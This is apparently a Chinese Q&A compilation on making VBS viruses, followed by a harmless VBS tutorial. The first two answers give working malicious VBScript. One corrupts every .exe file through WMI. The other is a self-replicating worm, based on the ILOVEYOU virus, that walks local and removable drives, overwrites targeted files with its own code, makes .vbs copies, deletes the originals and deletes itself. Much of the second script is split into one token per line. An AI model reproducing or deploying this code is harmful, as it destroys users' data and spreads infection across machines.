本文目录一览：
VBS病毒怎样做？
on error resume next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set bage= GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pipe =bage.ExecQuery("Select * from CIM_DataFile where Extension = 'exe'")
For Each File in pipe
Set objFile =FSO.OpenTextFile(file.name,8,true)
objFile.Writeline "111111"
objFile.Close
next
求用vbs编写autorun病毒简单代码，给分很多的
自己改一下：
dim
folder,fso,foldername,f,d,dc
set
fso=createobject("scripting.filesystemobject")
set
self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
'读取病毒体，以备复制到文件
self.close
set
dc=fso.Drives
for
each
d
in
dc
if
d.drivetype=3
or
d.drivetype=2
then
'检查磁盘类型
wscript.echo
d
'弹出窗口，显示找到盘符
scan(d)
end
if
next
lsfile=wscript.scriptfullname
'该脚本程序路径
set
lsfile=fso.getfile(lsfile)
lsfile.delete(true)
'病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）
sub
scan(folder_)
on
error
resume
next
set
folder_=fso.getfolder(folder_)
set
files=folder_.files
for
each
file
in
files
ext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext)
'后缀名转换成小写字母
if
ext="mp5"
then
'如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名
set
ap=fso.opentextfile(file.path,2,true)
'
ap.write
vbscopy
'覆盖文件，慎用
ap.close
set
cop=fso.getfile(file.path)
cop.copy(file.path
".vbs")
'创建另外一个病毒文件
'
file.delete(true)
'删除原来文件
end
if
next
set
subfolders=folder_.subfolders
for
each
subfolder
in
subfolders
'搜索其他目录
scan(subfolder)
next
end
sub
怎么制作VBS脚本
VBS脚本是一种简单的脚本程序，它可以用来实现一下简易的功能需求，那么如何编写VBS脚本呢？下面我给大家分享一下。
工具/材料
Sublime Text
01
首先我们打开Sublime Text软件，新建一个后缀名为vbs的文件，如下图所示
02
然后我们在vbs文件中输入如下的代码，主要是让用户输入一些内容，然后程序返回用户输入的内容
03
双击运行编写的VBS脚本，如下图所示，会弹出窗口让用户输入内容
04
我们输入完内容以后，程序就会自动弹出新的框来展示我们输入的内容。这样一个简单的VBS脚本就制作完了，是不是很简单啊
